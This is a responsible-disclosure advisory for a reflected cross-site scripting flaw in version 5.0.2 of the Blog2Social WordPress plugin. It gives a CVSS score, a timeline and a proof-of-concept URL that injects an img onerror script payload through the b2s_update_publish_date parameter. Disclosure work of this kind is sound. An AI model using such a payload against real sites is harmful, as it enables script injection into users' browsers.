WordPress Blog2Social 5.0.2 Cross Site Scripting

2019-02-06 / 2019-02-05

Credit: Tim Coen

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

  * Vulnerability: XSS
  * Affected Software:
[Blog2Social](https://wordpress.org/plugins/blog2social/)
  * Affected Version: 5.0.2
  * Patched Version: 5.0.3
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 10/25/2018
  * Vendor Fix: 11/13/2018
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Blog2Social WordPress plugin is vulnerable to reflected XSS as it
echoes the b2s_update_publish_date parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=blog2social-ship&postId=70&b2s_action=1&b2s_update_publish_date='"><img
src=x onerror=alert(1)>

##### Timeline

- 10/25/2018 Sent advisory
- 10/26/2018 Vendor confirms recipt of advisory
- 11/13/2018 Vendor releases fix
- 02/05/2019 Confirmed Fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-blog2social-xss/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

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WordPress Blog2Social 5.0.2 Cross Site Scripting

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